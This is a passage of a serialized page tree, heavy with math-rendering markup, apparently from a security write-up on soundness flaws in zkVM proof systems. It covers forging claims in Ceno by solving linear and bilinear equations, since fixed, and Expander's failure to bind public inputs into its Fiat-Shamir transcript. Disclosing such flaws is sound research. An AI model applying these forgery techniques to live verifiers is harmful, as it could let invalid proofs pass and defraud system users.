:25,"tag":201,"props":121302,"children":121304},{"className":121303},[5513,5562],[121305],{"type":31,"value":5516},{"type":25,"tag":201,"props":121307,"children":121309},{"className":121308},[23240],[121310],{"type":31,"value":23243},{"type":25,"tag":201,"props":121312,"children":121314},{"className":121313},[5539],[121315],{"type":25,"tag":201,"props":121316,"children":121318},{"className":121317,"style":94214},[5544],[121319],{"type":25,"tag":201,"props":121320,"children":121321},{},[],{"type":25,"tag":201,"props":121323,"children":121325},{"className":121324,"style":5594},[5593],[],{"type":25,"tag":201,"props":121327,"children":121329},{"className":121328},[5599],[121330],{"type":31,"value":112393},{"type":25,"tag":201,"props":121332,"children":121334},{"className":121333,"style":5594},[5593],[],{"type":25,"tag":201,"props":121336,"children":121338},{"className":121337},[5502],[121339,121343,121348,121358,121363,121367,121372],{"type":25,"tag":201,"props":121340,"children":121342},{"className":121341,"style":5614},[5507],[],{"type":25,"tag":201,"props":121344,"children":121346},{"className":121345},[23212],[121347],{"type":31,"value":298},{"type":25,"tag":201,"props":121349,"children":121351},{"className":121350},[5513,31],[121352],{"type":25,"tag":201,"props":121353,"children":121355},{"className":121354},[5513],[121356],{"type":31,"value":121357},"rest of product",{"type":25,"tag":201,"props":121359,"children":121361},{"className":121360},[23234],[121362],{"type":31,"value":3073},{"type":25,"tag":201,"props":121364,"children":121366},{"className":121365,"style":5691},[5593],[],{"type":25,"tag":201,"props":121368,"children":121370},{"className":121369},[5696],[121371],{"type":31,"value":1383},{"type":25,"tag":201,"props":121373,"children":121375},{"className":121374,"style":5691},[5593],[],{"type":25,"tag":201,"props":121377,"children":121379},{"className":121378},[5502],[121380,121384],{"type":25,"tag":201,"props":121381,"children":121383},{"className":121382,"style":116151},[5507],[],{"type":25,"tag":201,"props":121385,"children":121387},{"className":121386},[5513,31],[121388],{"type":25,"tag":201,"props":121389,"children":121391},{"className":121390},[5513],[121392],{"type":31,"value":116162},{"type":25,"tag":34,"props":121394,"children":121395},{},[121396,121398,121551],{"type":31,"value":121397},"This is bilinear in ",{"type":25,"tag":115,"props":121399,"children":121401},{"className":121400},[5485,5486],[121402],{"type":25,"tag":201,"props":121403,"children":121405},{"className":121404},[5491],[121406],{"type":25,"tag":201,"props":121407,"children":121409},{"className":121408,"ariaHidden":5497},[5496],[121410],{"type":25,"tag":201,"props":121411,"children":121413},{"className":121412},[5502],[121414,121418,121423,121480,121485,121489,121546],{"type":25,"tag":201,"props":121415,"children":121417},{"className":121416,"style":5614},[5507],[],{"type":25,"tag":201,"props":121419,"children":121421},{"className":121420},[23212],[121422],{"type":31,"value":298},{"type":25,"tag":201,"props":121424,"children":121426},{"className":121425},[5513],[121427,121432],{"type":25,"tag":201,"props":121428,"children":121430},{"className":121429},[5513,23083],[121431],{"type":31,"value":1606},{"type":25,"tag":201,"props":121433,"children":121435},{"className":121434},[5529],[121436],{"type":25,"tag":201,"props":121437,"children":121439},{"className":121438},[5534,23137],[121440,121469],{"type":25,"tag":201,"props":121441,"children":121443},{"className":121442},[5539],[121444,121464],{"type":25,"tag":201,"props":121445,"children":121447},{"className":121446,"style":94183},[5544],[121448],{"type":25,"tag":201,"props":121449,"children":121450},{"style":94187},[121451,121455],{"type":25,"tag":201,"props":121452,"children":121454},{"className":121453,"style":5554},[5553],[],{"type":25,"tag":201,"props":121456,"children":121458},{"className":121457},[5559,5560,5561,5562],[121459],{"type":25,"tag":201,"props":121460,"children":121462},{"className":121461},[5513,5562],[121463],{"type":31,"value":429},{"type":25,"tag":201,"props":121465,"children":121467},{"className":121466},[23240],[121468],{"type":31,"value":23243},{"type":25,"tag":201,"props":121470,"children":121472},{"className":121471},[5539],[121473],{"type":25,"tag":201,"props":121474,"children":121476},{"className":121475,"style":94214},[5544],[121477],{"type":25,"tag":201,"props":121478,"children":121479},{},[],{"type":25,"tag":201,"props":121481,"children":121483},{"className":121482},[5625],[121484],{"type":31,"value":5628},{"type":25,"tag":201,"props":121486,"children":121488},{"className":121487,"style":5632},[5593],[],{"type":25,"tag":201,"props":121490,"children":121492},{"className":121491},[5513],[121493,121498],{"type":25,"tag":201,"props":121494,"children":121496},{"className":121495},[5513,23083],[121497],{"type":31,"value":1606},{"type":25,"tag":201,"props":121499,"children":121501},{"className":121500},[5529],[121502],{"type":25,"tag":201,"props":121503,"children":121505},{"className":121504},[5534,23137],[121506,121535],{"type":25,"tag":201,"props":121507,"children":121509},{"className":121508},[5539],[121510,121530],{"type":25,"tag":201,"props":121511,"children":121513},{"className":121512,"style":94183},[5544],[121514],{"type":25,"tag":201,"props":121515,"children":121516},{"style":94187},[121517,121521],{"type":25,"tag":201,"props":121518,"children":121520},{"className":121519,"style":5554},[5553],[],{"type":25,"tag":201,"props":121522,"children":121524},{"className":121523},[5559,5560,5561,5562],[121525],{"type":25,"tag":201,"props":121526,"children":121528},{"className":121527},[5513,5562],[121529],{"type":31,"value":5516},{"type":25,"tag":201,"props":121531,"children":121533},{"className":121532},[23240],[121534],{"type":31,"value":23243},{"type":25,"tag":201,"props":121536,"children":121538},{"className":121537},[5539],[121539],{"type":25,"tag":201,"props":121540,"children":121542},{"className":121541,"style":94214},[5544],[121543],{"type":25,"tag":201,"props":121544,"children":121545},{},[],{"type":25,"tag":201,"props":121547,"children":121549},{"className":121548},[23234],[121550],{"type":31,"value":3073},{"type":31,"value":80},{"type":25,"tag":34,"props":121553,"children":121554},{},[121555,121557,121710],{"type":31,"value":121556},"We have two unknowns ",{"type":25,"tag":115,"props":121558,"children":121560},{"className":121559},[5485,5486],[121561],{"type":25,"tag":201,"props":121562,"children":121564},{"className":121563},[5491],[121565],{"type":25,"tag":201,"props":121566,"children":121568},{"className":121567,"ariaHidden":5497},[5496],[121569],{"type":25,"tag":201,"props":121570,"children":121572},{"className":121571},[5502],[121573,121577,121582,121639,121644,121648,121705],{"type":25,"tag":201,"props":121574,"children":121576},{"className":121575,"style":5614},[5507],[],{"type":25,"tag":201,"props":121578,"children":121580},{"className":121579},[23212],[121581],{"type":31,"value":298},{"type":25,"tag":201,"props":121583,"children":121585},{"className":121584},[5513],[121586,121591],{"type":25,"tag":201,"props":121587,"children":121589},{"className":121588},[5513,23083],[121590],{"type":31,"value":1606},{"type":25,"tag":201,"props":121592,"children":121594},{"className":121593},[5529],[121595],{"type":25,"tag":201,"props":121596,"children":121598},{"className":121597},[5534,23137],[121599,121628],{"type":25,"tag":201,"props":121600,"children":121602},{"className":121601},[5539],[121603,121623],{"type":25,"tag":201,"props":121604,"children":121606},{"className":121605,"style":94183},[5544],[121607],{"type":25,"tag":201,"props":121608,"children":121609},{"style":94187},[121610,121614],{"type":25,"tag":201,"props":121611,"children":121613},{"className":121612,"style":5554},[5553],[],{"type":25,"tag":201,"props":121615,"children":121617},{"className":121616},[5559,5560,5561,5562],[121618],{"type":25,"tag":201,"props":121619,"children":121621},{"className":121620},[5513,5562],[121622],{"type":31,"value":429},{"type":25,"tag":201,"props":121624,"children":121626},{"className":121625},[23240],[121627],{"type":31,"value":23243},{"type":25,"tag":201,"props":121629,"children":121631},{"className":121630},[5539],[121632],{"type":25,"tag":201,"props":121633,"children":121635},{"className":121634,"style":94214},[5544],[121636],{"type":25,"tag":201,"props":121637,"children":121638},{},[],{"type":25,"tag":201,"props":121640,"children":121642},{"className":121641},[5625],[121643],{"type":31,"value":5628},{"type":25,"tag":201,"props":121645,"children":121647},{"className":121646,"style":5632},[5593],[],{"type":25,"tag":201,"props":121649,"children":121651},{"className":121650},[5513],[121652,121657],{"type":25,"tag":201,"props":121653,"children":121655},{"className":121654},[5513,23083],[121656],{"type":31,"value":1606},{"type":25,"tag":201,"props":121658,"children":121660},{"className":121659},[5529],[121661],{"type":25,"tag":201,"props":121662,"children":121664},{"className":121663},[5534,23137],[121665,121694],{"type":25,"tag":201,"props":121666,"children":121668},{"className":121667},[5539],[121669,121689],{"type":25,"tag":201,"props":121670,"children":121672},{"className":121671,"style":94183},[5544],[121673],{"type":25,"tag":201,"props":121674,"children":121675},{"style":94187},[121676,121680],{"type":25,"tag":201,"props":121677,"children":121679},{"className":121678,"style":5554},[5553],[],{"type":25,"tag":201,"props":121681,"children":121683},{"className":121682},[5559,5560,5561,5562],[121684],{"type":25,"tag":201,"props":121685,"children":121687},{"className":121686},[5513,5562],[121688],{"type":31,"value":5516},{"type":25,"tag":201,"props":121690,"children":121692},{"className":121691},[23240],[121693],{"type":31,"value":23243},{"type":25,"tag":201,"props":121695,"children":121697},{"className":121696},[5539],[121698],{"type":25,"tag":201,"props":121699,"children":121701},{"className":121700,"style":94214},[5544],[121702],{"type":25,"tag":201,"props":121703,"children":121704},{},[],{"type":25,"tag":201,"props":121706,"children":121708},{"className":121707},[23234],[121709],{"type":31,"value":3073},{"type":31,"value":121711}," and two equations, one linear and one bilinear:",{"type":25,"tag":6944,"props":121713,"children":121714},{},[121715,122042],{"type":25,"tag":6948,"props":121716,"children":121717},{},[121718,121720],{"type":31,"value":121719},"Linear (from GKR): ",{"type":25,"tag":115,"props":121721,"children":121723},{"className":121722},[5485,5486],[121724],{"type":25,"tag":201,"props":121725,"children":121727},{"className":121726},[5491],[121728],{"type":25,"tag":201,"props":121729,"children":121731},{"className":121730,"ariaHidden":5497},[5496],[121732,121868,122003,122029],{"type":25,"tag":201,"props":121733,"children":121735},{"className":121734},[5502],[121736,121741,121798,121855,121859,121864],{"type":25,"tag":201,"props":121737,"children":121740},{"className":121738,"style":121739},[5507],"height:0.7333em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":121742,"children":121744},{"className":121743},[5513],[121745,121750],{"type":25,"tag":201,"props":121746,"children":121748},{"className":121747},[5513,23083],[121749],{"type":31,"value":71},{"type":25,"tag":201,"props":121751,"children":121753},{"className":121752},[5529],[121754],{"type":25,"tag":201,"props":121755,"children":121757},{"className":121756},[5534,23137],[121758,121787],{"type":25,"tag":201,"props":121759,"children":121761},{"className":121760},[5539],[121762,121782],{"type":25,"tag":201,"props":121763,"children":121765},{"className":121764,"style":94183},[5544],[121766],{"type":25,"tag":201,"props":121767,"children":121768},{"style":94187},[121769,121773],{"type":25,"tag":201,"props":121770,"children":121772},{"className":121771,"style":5554},[5553],[],{"type":25,"tag":201,"props":121774,"children":121776},{"className":121775},[5559,5560,5561,5562],[121777],{"type":25,"tag":201,"props":121778,"children":121780},{"className":121779},[5513,5562],[121781],{"type":31,"value":429},{"type":25,"tag":201,"props":121783,"children":121785},{"className":121784},[23240],[121786],{"type":31,"value":23243},{"type":25,"tag":201,"props":121788,"children":121790},{"className":121789},[5539],[121791],{"type":25,"tag":201,"props":121792,"children":121794},{"className":121793,"style":94214},[5544],[121795],{"type":25,"tag":201,"props":121796,"children":121797},{},[],{"type":25,"tag":201,"props":121799,"children":121801},{"className":121800},[5513],[121802,121807],{"type":25,"tag":201,"props":121803,"children":121805},{"className":121804},[5513,23083],[121806],{"type":31,"value":1606},{"type":25,"tag":201,"props":121808,"children":121810},{"className":121809},[5529],[121811],{"type":25,"tag":201,"props":121812,"children":121814},{"className":121813},[5534,23137],[121815,121844],{"type":25,"tag":201,"props":121816,"children":121818},{"className":121817},[5539],[121819,121839],{"type":25,"tag":201,"props":121820,"children":121822},{"className":121821,"style":94183},[5544],[121823],{"type":25,"tag":201,"props":121824,"children":121825},{"style":94187},[121826,121830],{"type":25,"tag":201,"props":121827,"children":121829},{"className":121828,"style":5554},[5553],[],{"type":25,"tag":201,"props":121831,"children":121833},{"className":121832},[5559,5560,5561,5562],[121834],{"type":25,"tag":201,"props":121835,"children":121837},{"className":121836},[5513,5562],[121838],{"type":31,"value":429},{"type":25,"tag":201,"props":121840,"children":121842},{"className":121841},[23240],[121843],{"type":31,"value":23243},{"type":25,"tag":201,"props":121845,"children":121847},{"className":121846},[5539],[121848],{"type":25,"tag":201,"props":121849,"children":121851},{"className":121850,"style":94214},[5544],[121852],{"type":25,"tag":201,"props":121853,"children":121854},{},[],{"type":25,"tag":201,"props":121856,"children":121858},{"className":121857,"style":5594},[5593],[],{"type":25,"tag":201,"props":121860,"children":121862},{"className":121861},[5599],[121863],{"type":31,"value":5886},{"type":25,"tag":201,"props":121865,"children":121867},{"className":121866,"style":5594},[5593],[],{"type":25,"tag":201,"props":121869,"children":121871},{"className":121870},[5502],[121872,121876,121933,121990,121994,121999],{"type":25,"tag":201,"props":121873,"children":121875},{"className":121874,"style":121739},[5507],[],{"type":25,"tag":201,"props":121877,"children":121879},{"className":121878},[5513],[121880,121885],{"type":25,"tag":201,"props":121881,"children":121883},{"className":121882},[5513,23083],[121884],{"type":31,"value":71},{"type":25,"tag":201,"props":121886,"children":121888},{"className":121887},[5529],[121889],{"type":25,"tag":201,"props":121890,"children":121892},{"className":121891},[5534,23137],[121893,121922],{"type":25,"tag":201,"props":121894,"children":121896},{"className":121895},[5539],[121897,121917],{"type":25,"tag":201,"props":121898,"children":121900},{"className":121899,"style":94183},[5544],[121901],{"type":25,"tag":201,"props":121902,"children":121903},{"style":94187},[121904,121908],{"type":25,"tag":201,"props":121905,"children":121907},{"className":121906,"style":5554},[5553],[],{"type":25,"tag":201,"props":121909,"children":121911},{"className":121910},[5559,5560,5561,5562],[121912],{"type":25,"tag":201,"props":121913,"children":121915},{"className":121914},[5513,5562],[121916],{"type":31,"value":5516},{"type":25,"tag":201,"props":121918,"children":121920},{"className":121919},[23240],[121921],{"type":31,"value":23243},{"type":25,"tag":201,"props":121923,"children":121925},{"className":121924},[5539],[121926],{"type":25,"tag":201,"props":121927,"children":121929},{"className":121928,"style":94214},[5544],[121930],{"type":25,"tag":201,"props":121931,"children":121932},{},[],{"type":25,"tag":201,"props":121934,"children":121936},{"className":121935},[5513],[121937,121942],{"type":25,"tag":201,"props":121938,"children":121940},{"className":121939},[5513,23083],[121941],{"type":31,"value":1606},{"type":25,"tag":201,"props":121943,"children":121945},{"className":121944},[5529],[121946],{"type":25,"tag":201,"props":121947,"children":121949},{"className":121948},[5534,23137],[121950,121979],{"type":25,"tag":201,"props":121951,"children":121953},{"className":121952},[5539],[121954,121974],{"type":25,"tag":201,"props":121955,"children":121957},{"className":121956,"style":94183},[5544],[121958],{"type":25,"tag":201,"props":121959,"children":121960},{"style":94187},[121961,121965],{"type":25,"tag":201,"props":121962,"children":121964},{"className":121963,"style":5554},[5553],[],{"type":25,"tag":201,"props":121966,"children":121968},{"className":121967},[5559,5560,5561,5562],[121969],{"type":25,"tag":201,"props":121970,"children":121972},{"className":121971},[5513,5562],[121973],{"type":31,"value":5516},{"type":25,"tag":201,"props":121975,"children":121977},{"className":121976},[23240],[121978],{"type":31,"value":23243},{"type":25,"tag":201,"props":121980,"children":121982},{"className":121981},[5539],[121983],{"type":25,"tag":201,"props":121984,"children":121986},{"className":121985,"style":94214},[5544],[121987],{"type":25,"tag":201,"props":121988,"children":121989},{},[],{"type":25,"tag":201,"props":121991,"children":121993},{"className":121992,"style":5594},[5593],[],{"type":25,"tag":201,"props":121995,"children":121997},{"className":121996},[5599],[121998],{"type":31,"value":5886},{"type":25,"tag":201,"props":122000,"children":122002},{"className":122001,"style":5594},[5593],[],{"type":25,"tag":201,"props":122004,"children":122006},{"className":122005},[5502],[122007,122011,122016,122020,122025],{"type":25,"tag":201,"props":122008,"children":122010},{"className":122009,"style":111972},[5507],[],{"type":25,"tag":201,"props":122012,"children":122014},{"className":122013},[5513,23083],[122015],{"type":31,"value":4652},{"type":25,"tag":201,"props":122017,"children":122019},{"className":122018,"style":5691},[5593],[],{"type":25,"tag":201,"props":122021,"children":122023},{"className":122022},[5696],[122024],{"type":31,"value":1383},{"type":25,"tag":201,"props":122026,"children":122028},{"className":122027,"style":5691},[5593],[],{"type":25,"tag":201,"props":122030,"children":122032},{"className":122031},[5502],[122033,122037],{"type":25,"tag":201,"props":122034,"children":122036},{"className":122035,"style":95162},[5507],[],{"type":25,"tag":201,"props":122038,"children":122040},{"className":122039},[5513],[122041],{"type":31,"value":429},{"type":25,"tag":6948,"props":122043,"children":122044},{},[122045,122047],{"type":31,"value":122046},"Bilinear (from multiset): ",{"type":25,"tag":115,"props":122048,"children":122050},{"className":122049},[5485,5486],[122051],{"type":25,"tag":201,"props":122052,"children":122054},{"className":122053},[5491],[122055],{"type":25,"tag":201,"props":122056,"children":122058},{"className":122057,"ariaHidden":5497},[5496],[122059,122085,122163,122241,122267],{"type":25,"tag":201,"props":122060,"children":122062},{"className":122061},[5502],[122063,122067,122072,122076,122081],{"type":25,"tag":201,"props":122064,"children":122066},{"className":122065,"style":94046},[5507],[],{"type":25,"tag":201,"props":122068,"children":122070},{"className":122069,"style":95560},[5513,23083],[122071],{"type":31,"value":89768},{"type":25,"tag":201,"props":122073,"children":122075},{"className":122074,"style":5594},[5593],[],{"type":25,"tag":201,"props":122077,"children":122079},{"className":122078},[5599],[122080],{"type":31,"value":112393},{"type":25,"tag":201,"props":122082,"children":122084},{"className":122083,"style":5594},[5593],[],{"type":25,"tag":201,"props":122086,"children":122088},{"className":122087},[5502],[122089,122093,122150,122154,122159],{"type":25,"tag":201,"props":122090,"children":122092},{"className":122091,"style":121185},[5507],[],{"type":25,"tag":201,"props":122094,"children":122096},{"className":122095},[5513],[122097,122102],{"type":25,"tag":201,"props":122098,"children":122100},{"className":122099},[5513,23083],[122101],{"type":31,"value":1606},{"type":25,"tag":201,"props":122103,"children":122105},{"className":122104},[5529],[122106],{"type":25,"tag":201,"props":122107,"children":122109},{"className":122108},[5534,23137],[122110,122139],{"type":25,"tag":201,"props":122111,"children":122113},{"className":122112},[5539],[122114,122134],{"type":25,"tag":201,"props":122115,"children":122117},{"className":122116,"style":94183},[5544],[122118],{"type":25,"tag":201,"props":122119,"children":122120},{"style":94187},[122121,122125],{"type":25,"tag":201,"props":122122,"children":122124},{"className":122123,"style":5554},[5553],[],{"type":25,"tag":201,"props":122126,"children":122128},{"className":122127},[5559,5560,5561,5562],[122129],{"type":25,"tag":201,"props":122130,"children":122132},{"className":122131},[5513,5562],[122133],{"type":31,"value":429},{"type":25,"tag":201,"props":122135,"children":122137},{"className":122136},[23240],[122138],{"type":31,"value":23243},{"type":25,"tag":201,"props":122140,"children":122142},{"className":122141},[5539],[122143],{"type":25,"tag":201,"props":122144,"children":122146},{"className":122145,"style":94214},[5544],[122147],{"type":25,"tag":201,"props":122148,"children":122149},{},[],{"type":25,"tag":201,"props":122151,"children":122153},{"className":122152,"style":5594},[5593],[],{"type":25,"tag":201,"props":122155,"children":122157},{"className":122156},[5599],[122158],{"type":31,"value":112393},{"type":25,"tag":201,"props":122160,"children":122162},{"className":122161,"style":5594},[5593],[],{"type":25,"tag":201,"props":122164,"children":122166},{"className":122165},[5502],[122167,122171,122228,122232,122237],{"type":25,"tag":201,"props":122168,"children":122170},{"className":122169,"style":121739},[5507],[],{"type":25,"tag":201,"props":122172,"children":122174},{"className":122173},[5513],[122175,122180],{"type":25,"tag":201,"props":122176,"children":122178},{"className":122177},[5513,23083],[122179],{"type":31,"value":1606},{"type":25,"tag":201,"props":122181,"children":122183},{"className":122182},[5529],[122184],{"type":25,"tag":201,"props":122185,"children":122187},{"className":122186},[5534,23137],[122188,122217],{"type":25,"tag":201,"props":122189,"children":122191},{"className":122190},[5539],[122192,122212],{"type":25,"tag":201,"props":122193,"children":122195},{"className":122194,"style":94183},[5544],[122196],{"type":25,"tag":201,"props":122197,"children":122198},{"style":94187},[122199,122203],{"type":25,"tag":201,"props":122200,"children":122202},{"className":122201,"style":5554},[5553],[],{"type":25,"tag":201,"props":122204,"children":122206},{"className":122205},[5559,5560,5561,5562],[122207],{"type":25,"tag":201,"props":122208,"children":122210},{"className":122209},[5513,5562],[122211],{"type":31,"value":5516},{"type":25,"tag":201,"props":122213,"children":122215},{"className":122214},[23240],[122216],{"type":31,"value":23243},{"type":25,"tag":201,"props":122218,"children":122220},{"className":122219},[5539],[122221],{"type":25,"tag":201,"props":122222,"children":122224},{"className":122223,"style":94214},[5544],[122225],{"type":25,"tag":201,"props":122226,"children":122227},{},[],{"type":25,"tag":201,"props":122229,"children":122231},{"className":122230,"style":5594},[5593],[],{"type":25,"tag":201,"props":122233,"children":122235},{"className":122234},[5599],[122236],{"type":31,"value":5886},{"type":25,"tag":201,"props":122238,"children":122240},{"className":122239,"style":5594},[5593],[],{"type":25,"tag":201,"props":122242,"children":122244},{"className":122243},[5502],[122245,122249,122254,122258,122263],{"type":25,"tag":201,"props":122246,"children":122248},{"className":122247,"style":94046},[5507],[],{"type":25,"tag":201,"props":122250,"children":122252},{"className":122251},[5513,23083],[122253],{"type":31,"value":71646},{"type":25,"tag":201,"props":122255,"children":122257},{"className":122256,"style":5691},[5593],[],{"type":25,"tag":201,"props":122259,"children":122261},{"className":122260},[5696],[122262],{"type":31,"value":1383},{"type":25,"tag":201,"props":122264,"children":122266},{"className":122265,"style":5691},[5593],[],{"type":25,"tag":201,"props":122268,"children":122270},{"className":122269},[5502],[122271,122275],{"type":25,"tag":201,"props":122272,"children":122274},{"className":122273,"style":95162},[5507],[],{"type":25,"tag":201,"props":122276,"children":122278},{"className":122277},[5513],[122279],{"type":31,"value":429},{"type":25,"tag":34,"props":122281,"children":122282},{},[122283],{"type":31,"value":122284},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":25,"tag":34,"props":122286,"children":122287},{},[122288,122292,122294,122301,122303,122310],{"type":25,"tag":1252,"props":122289,"children":122290},{},[122291],{"type":31,"value":117841},{"type":31,"value":122293}," Fixed on March 5, 2026 via ",{"type":25,"tag":71,"props":122295,"children":122298},{"href":122296,"rel":122297},"https://github.com/scroll-tech/ceno/pull/1262",[75],[122299],{"type":31,"value":122300},"PR #1262",{"type":31,"value":122302}," (original report: ",{"type":25,"tag":71,"props":122304,"children":122307},{"href":122305,"rel":122306},"https://github.com/scroll-tech/ceno/issues/1125",[75],[122308],{"type":31,"value":122309},"#1125",{"type":31,"value":3073},{"type":25,"tag":20292,"props":122312,"children":122313},{},[],{"type":25,"tag":40,"props":122315,"children":122317},{"id":122316},"expander-polyhedra",[122318],{"type":31,"value":122319},"Expander (Polyhedra)",{"type":25,"tag":34,"props":122321,"children":122322},{},[122323],{"type":31,"value":122324},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":25,"tag":34,"props":122326,"children":122327},{},[122328],{"type":25,"tag":1252,"props":122329,"children":122330},{},[122331],{"type":31,"value":116547},{"type":25,"tag":191,"props":122333,"children":122335},{"code":122334},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[122336],{"type":25,"tag":115,"props":122337,"children":122338},{"__ignoreMap":7},[122339],{"type":31,"value":122334},{"type":25,"tag":34,"props":122341,"children":122342},{},[122343,122345,122351],{"type":31,"value":122344},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":25,"tag":115,"props":122346,"children":122348},{"className":122347},[],[122349],{"type":31,"value":122350},"eval_cst",{"type":31,"value":122352}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":25,"tag":191,"props":122354,"children":122356},{"code":122355,"language":4486,"meta":7,"className":4487,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[122357],{"type":25,"tag":115,"props":122358,"children":122359},{"__ignoreMap":7},[122360],{"type":25,"tag":201,"props":122361,"children":122362},{"class":203,"line":204},[122363,122367,122372,122377,122381,122385,122389,122393,122398,122402,122407,122412,122416,122421],{"type":25,"tag":201,"props":122364,"children":122365},{"style":246},[122366],{"type":31,"value":77716},{"type":25,"tag":201,"props":122368,"children":122369},{"style":261},[122370],{"type":31,"value":122371}," -=",{"type":25,"tag":201,"props":122373,"children":122374},{"style":4925},[122375],{"type":31,"value":122376}," GKRVerifierHelper",{"type":25,"tag":201,"props":122378,"children":122379},{"style":261},[122380],{"type":31,"value":4988},{"type":25,"tag":201,"props":122382,"children":122383},{"style":214},[122384],{"type":31,"value":122350},{"type":25,"tag":201,"props":122386,"children":122387},{"style":220},[122388],{"type":31,"value":298},{"type":25,"tag":201,"props":122390,"children":122391},{"style":261},[122392],{"type":31,"value":4615},{"type":25,"tag":201,"props":122394,"children":122395},{"style":246},[122396],{"type":31,"value":122397},"layer",{"type":25,"tag":201,"props":122399,"children":122400},{"style":261},[122401],{"type":31,"value":80},{"type":25,"tag":201,"props":122403,"children":122404},{"style":220},[122405],{"type":31,"value":122406},"const_, ",{"type":25,"tag":201,"props":122408,"children":122409},{"style":246},[122410],{"type":31,"value":122411},"public_input",{"type":25,"tag":201,"props":122413,"children":122414},{"style":220},[122415],{"type":31,"value":919},{"type":25,"tag":201,"props":122417,"children":122418},{"style":246},[122419],{"type":31,"value":122420},"sp",{"type":25,"tag":201,"props":122422,"children":122423},{"style":220},[122424],{"type":31,"value":308},{"type":25,"tag":34,"props":122426,"children":122427},{},[122428,122430,122435],{"type":31,"value":122429},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":25,"tag":115,"props":122431,"children":122433},{"className":122432},[],[122434],{"type":31,"value":122420},{"type":31,"value":3953},{"type":25,"tag":34,"props":122437,"children":122438},{},[122439],{"type":25,"tag":1252,"props":122440,"children":122441},{},[122442],{"type":31,"value":122443},"The vulnerability:",{"type":25,"tag":34,"props":122445,"children":122446},{},[122447,122452],{"type":25,"tag":115,"props":122448,"children":122450},{"className":122449},[],[122451],{"type":31,"value":122411},{"type":31,"value":122453}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":25,"tag":34,"props":122455,"children":122456},{},[122457],{"type":25,"tag":127,"props":122458,"children":122461},{"alt":122459,"src":122460},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":25,"tag":34,"props":122463,"children":122464},{},[122465,122466,122471],{"type":31,"value":18109},{"type":25,"tag":115,"props":122467,"children":122469},{"className":122468},[],[122470],{"type":31,"value":122350},{"type":31,"value":122472}," function computes a linear combination:",{"type":25,"tag":34,"props":122474,"children":122475},{},[122476],{"type":25,"tag":115,"props":122477,"children":122479},{"className":122478},[5485,5486],[122480],{"type":25,"tag":201,"props":122481,"children":122483},{"className":122482},[5491],[122484],{"type":25,"tag":201,"props":122485,"children":122487},{"className":122486,"ariaHidden":5497},[5496],[122488,122533,122657],{"type":25,"tag":201,"props":122489,"children":122491},{"className":122490},[5502],[122492,122496,122505,122510,122520,122524,122529],{"type":25,"tag":201,"props":122493,"children":122495},{"className":122494,"style":95544},[5507],[],{"type":25,"tag":201,"props":122497,"children":122499},{"className":122498},[5513,31],[122500],{"type":25,"tag":201,"props":122501,"children":122503},{"className":122502},[5513],[122504],{"type":31,"value":38618},{"type":25,"tag":201,"props":122506,"children":122508},{"className":122507,"style":94131},[5513],[122509],{"type":31,"value":4589},{"type":25,"tag":201,"props":122511,"children":122513},{"className":122512},[5513,31],[122514],{"type":25,"tag":201,"props":122515,"children":122517},{"className":122516},[5513],[122518],{"type":31,"value":122519},"cst",{"type":25,"tag":201,"props":122521,"children":122523},{"className":122522,"style":5691},[5593],[],{"type":25,"tag":201,"props":122525,"children":122527},{"className":122526},[5696],[122528],{"type":31,"value":1383},{"type":25,"tag":201,"props":122530,"children":122532},{"className":122531,"style":5691},[5593],[],{"type":25,"tag":201,"props":122534,"children":122536},{"className":122535},[5502],[122537,122541,122598,122602,122629,122634,122639,122644,122648,122653],{"type":25,"tag":201,"props":122538,"children":122540},{"className":122539,"style":94073},[5507],[],{"type":25,"tag":201,"props":122542,"children":122544},{"className":122543},[23119],[122545,122550],{"type":25,"tag":201,"props":122546,"children":122548},{"className":122547,"style":23126},[23119,23124,23125],[122549],{"type":31,"value":109926},{"type":25,"tag":201,"props":122551,"children":122553},{"className":122552},[5529],[122554],{"type":25,"tag":201,"props":122555,"children":122557},{"className":122556},[5534,23137],[122558,122587],{"type":25,"tag":201,"props":122559,"children":122561},{"className":122560},[5539],[122562,122582],{"type":25,"tag":201,"props":122563,"children":122565},{"className":122564,"style":115338},[5544],[122566],{"type":25,"tag":201,"props":122567,"children":122568},{"style":23150},[122569,122573],{"type":25,"tag":201,"props":122570,"children":122572},{"className":122571,"style":5554},[5553],[],{"type":25,"tag":201,"props":122574,"children":122576},{"className":122575},[5559,5560,5561,5562],[122577],{"type":25,"tag":201,"props":122578,"children":122580},{"className":122579},[5513,23083,5562],[122581],{"type":31,"value":3641},{"type":25,"tag":201,"props":122583,"children":122585},{"className":122584},[23240],[122586],{"type":31,"value":23243},{"type":25,"tag":201,"props":122588,"children":122590},{"className":122589},[5539],[122591],{"type":25,"tag":201,"props":122592,"children":122594},{"className":122593,"style":115618},[5544],[122595],{"type":25,"tag":201,"props":122596,"children":122597},{},[],{"type":25,"tag":201,"props":122599,"children":122601},{"className":122600,"style":5632},[5593],[],{"type":25,"tag":201,"props":122603,"children":122605},{"className":122604},[5513],[122606,122615,122620],{"type":25,"tag":201,"props":122607,"children":122609},{"className":122608},[5513,31],[122610],{"type":25,"tag":201,"props":122611,"children":122613},{"className":122612},[5513],[122614],{"type":31,"value":62755},{"type":25,"tag":201,"props":122616,"children":122618},{"className":122617,"style":94131},[5513],[122619],{"type":31,"value":4589},{"type":25,"tag":201,"props":122621,"children":122623},{"className":122622},[5513,31],[122624],{"type":25,"tag":201,"props":122625,"children":122627},{"className":122626},[5513],[122628],{"type":31,"value":1461},{"type":25,"tag":201,"props":122630,"children":122632},{"className":122631},[23212],[122633],{"type":31,"value":423},{"type":25,"tag":201,"props":122635,"children":122637},{"className":122636},[5513,23083],[122638],{"type":31,"value":3641},{"type":25,"tag":201,"props":122640,"children":122642},{"className":122641},[2323